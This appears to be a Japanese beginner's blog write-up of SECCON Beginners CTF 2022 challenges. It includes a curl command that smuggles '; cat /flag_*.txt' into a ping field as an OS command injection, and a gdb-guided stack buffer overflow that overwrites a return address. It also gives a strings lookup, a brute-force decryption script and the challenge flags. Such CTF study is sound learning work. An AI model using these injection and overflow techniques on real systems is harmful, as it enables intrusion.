1
1

More than 1 year has passed since last update.

SECCON Beginners CTF 2022に挑戦: CTF未経験者目線で解法を書きます

Last updated at Posted at 2022-06-12

更新履歴

  • 2022/06/19: reversing/Quiz, pwnable/BeginnerBofの解法を追加しました。これでBeginner向け問題はコンプリートです。

はじめに

SECCON Beginner CTF 2022とは

  • 主にCTF初心者~中級者が対象としたCTF
  • 開催期間: 2022/6/4 14:00 ~ 2022/6/5 14:00 JST
  • チームor個人で参加できる (私は個人参加)

https://www.seccon.jp/2022/beginners/about-seccon-beginners.html

私のレベル

  • これまでにCTFの問題を見たことが無く今回がCTF初参加:beginner:
  • セキュリティに関する知識は書籍,Web,資格試験などで勉強中
  • 机上の知識のみで、ペネトレーションテストなど実際に試した経験はない

CTFを終えて

成績

  • 105点 (891チーム中552位)

    解けたのは2問だけでしたが解けてよかったです:relaxed:

感想 (課題)

  • 机上での理屈はわかっていても実現方法、ツールとその使いこなしがわかっていませんでした

  • 問題とともに提供されるソースコードなどにヒントが散りばめられていて情報収集がとても重要でした

  • だけど面白かった!解けなかった問題にもトライしてCTFを続けてみたいと思います:muscle_tone2:


問題と解法

SECCON beginners CTF 2022開催期間中に解けた問題について、解いた方法を書きます。問題公開期間中に他のBeginner向け問題にもトライしてUpdateしたいと思っています。

環境

OS: Windows11
  WSL2 (Ubuntu):  Ubuntu 20.04.4 LTS
    curl 7.68.0
    Python 3.8.10

Web

Util (Beginner)

  • 以下のようなフォームにIPアドレスを入れるとping結果が表示されるアプリが提供されている。
    Web-Util-IF.png

  • util.tar.gz内のDockerファイルを見るとどうやら/(ルート)ディレクトリ直下にflag_*.txtというflagファイルがありそう

    Dockerfile
    RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
    
  • utils.tar.gz内のmain.goを見るとpingコマンドの引数にParam.Addressがチェック無しで渡されているので、OSコマンドインジェクションでflagファイルの中身を取り出せばよさそう!!

    main.go
        commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
    
  • しかし、util.tar.gz内のpages/index.htmlを見ると、Webページ上のIPアドレス入力フォームには入力値チェックがあるため、Webページ上からインジェクションすることができない。

    pages/index.html
        function send() {
          var address = document.getElementById("addressTextField").value;
    
          if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
            var json = {};
            json.address = address
    
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "/util/ping");
            xhr.setRequestHeader("Content-Type", "application/json");
            xhr.send(JSON.stringify(json));
            :
          } else {
            document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
          }
    
  • ということでcURLコマンドなどを使ってHTTPリクエストを送信してみる。今回は以下のcURLコマンドを発行してcat /flag_*.txtの結果を取得する

    curl -s -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type:application/json" -d "{\"address\": \"127.0.0.1; cat /flag_*.txt\"}" | sed -e s/'\\n'/'\n'/g
    

    無事フラグが取得できました

    {"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes
    64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.117 ms
    
    --- 127.0.0.1 ping statistics ---
    1 packets transmitted, 1 packets received, 0% packet loss
    round-trip min/avg/max = 0.117/0.117/0.117 ms
    ctf4b{al1_0vers_4re_i1l}  <=== これ!!
    

misc


pwnable

BeginnersBof (Beginner) <2022/06/19追記>

  • 残念ながら自力で解くことができませんでした…:sob:

    • 勉強させていただいた資料

      • 作者さんのWriteup

        https://feneshi.co/ctf4b2022writeup/#BeginnersBof

        バイナリからの関数先頭アドレスの取り方、バイトコードの送り方などものすごく勉強になりました。ただオーバーフローさせるバッファ先頭アドレスからリターンアドレスが格納されているアドレスまでの距離がなぜ0x28なのかがわからずジタバタ^^;

      • むさこーどさんのZennスクラップ

        https://zenn.dev/musacode/scraps/7fc68fd44283b8#comment-13d0c5e65b5f04

        オーバーフローさせるバッファの先頭アドレスからリターンアドレス格納アドレスまでの距離が0x28であることが理解できました。記事を教えてくださった むさこーどさん ありがとうございます!

    • 自分なりに理解した内容を以下に記載します。ビギナーレベルの自分がわかるように少々細かめに(くどめに?w)書いてみます。

  • 本問題ではchallというバイナリとそのソースコードsrc.cが提供されている。challを実行すると名前の長さ・名前が尋ねられ、それぞれ入力するとHello <名前>と出力される

    Pwn-BeginnerBof.png

  • src.cを確認すると

    • win()関数にフラグ情報を標準出力へ表示する処理があるので何とかして win()関数を実行できれば勝ち !!!
    • しかしmain()関数からwin()関数は呼ばれていない
    • main()関数を見るとfgets()で標準入力から長さlenのデータを取得しbuf[]に格納している。buf[]は要素数0x10で領域確保されているが、fgets()で取得するデータ長lenを制限する処理がない。つまりbuf[]には、定義されているデータ長0x10を超える長さのデータを代入することができる(バッファオーバーフローを起こすことができる)。
    • buf[]に対するバッファオーバーフローを利用してmain()関数のリターンアドレスをwin()関数の先頭アドレスに上書きすれば、main()関数終了時にwin()関数が実行され、フラグ情報を表示させることができる。
    src.c
    #define BUFSIZE 0x10
    
    void win() {
        char buf[0x100];
        int fd = open("flag.txt", O_RDONLY);
        if (fd == -1)
            err(1, "Flag file not found...\n");
        write(1, buf, read(fd, buf, sizeof(buf)));
        close(fd);
    }
    
    int main() {
        int len = 0;
        char buf[BUFSIZE] = {0};
        puts("How long is your name?");
        scanf("%d", &len);
        char c = getc(stdin);
        if (c != '\n')
            ungetc(c, stdin);
        puts("What's your name?");
        fgets(buf, len, stdin);
        printf("Hello %s", buf);
    }
    
  • win()関数の先頭アドレスを確認する (0x00000000004011e6かな)

    $ gdb -q chall
    Reading symbols from chall...
    (No debugging symbols found in chall)
    (gdb) disas win
    Dump of assembler code for function win:
      0x00000000004011e6 <+0>:     push   %rbp
      0x00000000004011e7 <+1>:     mov    %rsp,%rbp
      :
    

    buf[]をバッファオーバーフローさせてmain()関数のリターンアドレスを0x00000000004011e6に書き変えればフラグを入手できそうだが、リターンアドレスってどこに格納されてるんだろうか?????

  • リターンアドレス格納場所を知るために、まずスタックについて調べてみた

    • 参考にしたサイト

      https://www.ipa.go.jp/security/awareness/vendor/programmingv1/b06_01.html

    • main()が呼ばれると、以下のようにアドレスの大きい方から小さい方に向かってスタックが積まれていく

      <<スタック>>
      (アドレス小さい)
      :
      :
      ローカル変数
      :
      ベースポインタのレジスタ退避
      main()関数のリターンアドレス
      (アドレス大きい)
  • main()関数に入った直後のレジスタ情報を確認しスタックがどうなっているかを調べる

    • gdbを起動する

    • main()関数でbreakをはる

    • プログラム実行 => breakpointで止まる

      $ gdb -q chall
      Reading symbols from chall...
      (No debugging symbols found in chall)
      (gdb) break main
      Breakpoint 1 at 0x401267
      (gdb) run
      Starting program: /home/tooru/SECCON_Beginners_CTF2022/chall
      
      Breakpoint 1, 0x0000000000401267 in main ()
      
    • main()関数をdisasembleしてレジスタの動きを確認する

      (gdb) disas main
      Dump of assembler code for function main:
        0x0000000000401263 <+0>:     push   %rbp
        0x0000000000401264 <+1>:     mov    %rsp,%rbp
      => 0x0000000000401267 <+4>:     sub    $0x20,%rsp
        0x000000000040126b <+8>:     movl   $0x0,-0x8(%rbp)
        0x0000000000401272 <+15>:    movq   $0x0,-0x20(%rbp)
        0x000000000040127a <+23>:    movq   $0x0,-0x18(%rbp)
      
      • rbp(ベースポインタ)がプッシュされる(ベースポインタのレジスタ退避)
      • rsp(スタックポインタ:現在のスタック先頭)がベースポインタとしてrbpにコピーされる
      • rspを0x20引いた情報で更新される(ローカル変数領域が0x20で確保)※これが実行される前(breakpoint)で止まっている状態
    • レジスタ情報を確認してみる

      (gdb) info register
      :
      rbp            0x7fffffffe090      0x7fffffffe090
      rsp            0x7fffffffe090      0x7fffffffe090
      

      rbpが0x7fffffffe090を指しているということは、スタックは以下のようになっていると思われる

      • 0x7fffffffe070から0x20byte分がローカル変数領域
      • 0x7fffffffe090がベースポインタで、古いベースポインタ(おそらく8byte分)が退避されている
      • 0x7fffffffe098にリターンアドレス(おそらく8byte分)が格納されている

      あとは buf[]の先頭アドレスがわかれば、buf[]に入力するデータの長さとリターンアドレスの相対位置が確定できそう

  • buf[]AAAAAAAAAAAAAAAを入力したときのスタックの状態を確認することでbuf[]先頭アドレスを調べる

    • main()関数のprintf()あたりのアドレスを確認し、printf()直後のアドレスでbreakをはる

      (gdb) disas main
      Dump of assembler code for function main:
        0x0000000000401263 <+0>:     push   %rbp
        :
        0x000000000040130a <+167>:   callq  0x401050 <printf@plt>
        0x000000000040130f <+172>:   mov    $0x0,%eax
        :
      (gdb) b *0x000000000040130f
      Breakpoint 1 at 0x40130f
      
    • プログラム実行

    • 名前の長さは16を指定し、名前はAAAAAAAAAAAAAAA(Aが15個)を指定する

      (gdb) r
      Starting program: /home/tooru/SECCON_Beginners_CTF2022/chall
      How long is your name?
      16
      What's your name?
      AAAAAAAAAAAAAAA
      Hello AAAAAAAAAAAAAAA
      Breakpoint 1, 0x000000000040130f in main ()
      
    • ローカル変数領域の先頭からスタックの中身を確認する

      (gdb) x/48bx 0x7fffffffe070
      0x7fffffffe070: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
      0x7fffffffe078: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x00
      0x7fffffffe080: 0x80    0xe1    0xff    0xff    0xff    0x7f    0x00    0x00
      0x7fffffffe088: 0x10    0x00    0x00    0x00    0x00    0x00    0x00    0x0a
      0x7fffffffe090: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
      0x7fffffffe098: 0x83    0x10    0xdf    0xf7    0xff    0x7f    0x00    0x00
      

      buf[]に入れたAAAAAAAAAAAAAAA(A(0x41)が15個)は0x7fffffffe070から入っているので、buf[]の先頭アドレスはローカル変数領域の先頭である0x7fffffffe070でよさそう。

  • まとめると

    • 実行させたいwin()関数のアドレスは0x00000000004011e6

    • バッファオーバーフローさせたいbuf[]の先頭アドレスは0x7fffffffe070

    • 上書きしたいmain()関数のリターンアドレスは0x7fffffffe098から8byte

    • つまりbuf[]に対して

      0x28byte分の適当な1byte文字+win()関数の先頭アドレス0x00000000004011e6

      を与えれば、main()関数終了時にwin()関数が実行されフラグ情報が入手できそう

    というのが現時点での私の理解です。

    もっとスマートな考え方がありそうな気がしますし、前述した記事ではかなりスマートな確認方法が紹介されています。まだまだ勉強が必要ですね…


reversing

Quiz (Beginner) <2022/06/19追記>

  • quizというバイナリが1つだけ提供されている

  • 実行するとクイズが出題されたので(何度も間違いながらw)答えてみると最後に「フラグは何でしょうか?」と聞かれる…

    Reversing-Quiz.png

  • きっとバイナリ内で入力した情報を正解フラグ情報を比較してると思われる。

  • ところでクイズのQ3に出てきたstringsコマンドについて調べてみると、バイナリ内の文字列も抽出できるもよう。もしや比較に使っているフラグ情報が取れるかも!ということで早速使ってみるとフラグ情報が取れました

    $ strings ./quiz | grep ctf4b
    ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
    

crypto

CoughingFox (Beginner)

  • フラグが暗号化スクリプトproblem.pyによって暗号化され、output.txtに出力されている。

    problem.py
    from random import shuffle
    
    flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
    
    cipher = []
    
    for i in range(len(flag)):
        f = flag[i]
        c = (f + i)**2 + i
        cipher.append(c)
    
    shuffle(cipher)
    print("cipher =", cipher)
    
    output.txt
    cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
    
  • それを復号すればフラグが取得できる

    以下のように復号するpythonスクリプトを作成し実行する

    import struct
    
    cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
    
    # flag rule: ctf4b{[\x20-\x7e]+}
    # 'c', 't', 'f', '4', 'b', '{', '}' も[\x20-\x7e]で表現できる
    flag = b""
    
    # cipher[]の要素数はflagの文字数と同じ。
    #   cipher[]の要素数分ループ処理することでflagの1文字目から順にあぶり出す。
    # flagルールで定義される文字パターン[\x20-\x7e]に対して順番に暗号化し、
    #   cipher[]に含まれるものと一致した場合はそれがflagの文字なのでflag文字列に追加する
    # ※この暗号化アルゴリズムは[\x20-\x7e]を暗号化しても衝突は起こらないものとする
    for i in range(len(cipher)):
        for char_code in list(range(0x20,0x7e,1)):
            c = (char_code + i)**2 + i
            if c in cipher:
                flag += struct.pack("B",char_code)
                break
    
    print("flag =", flag)
    

    実行結果

    flag = b'ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}'
    

welcome

  • Discordの投稿の中にフラグがありました💡
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1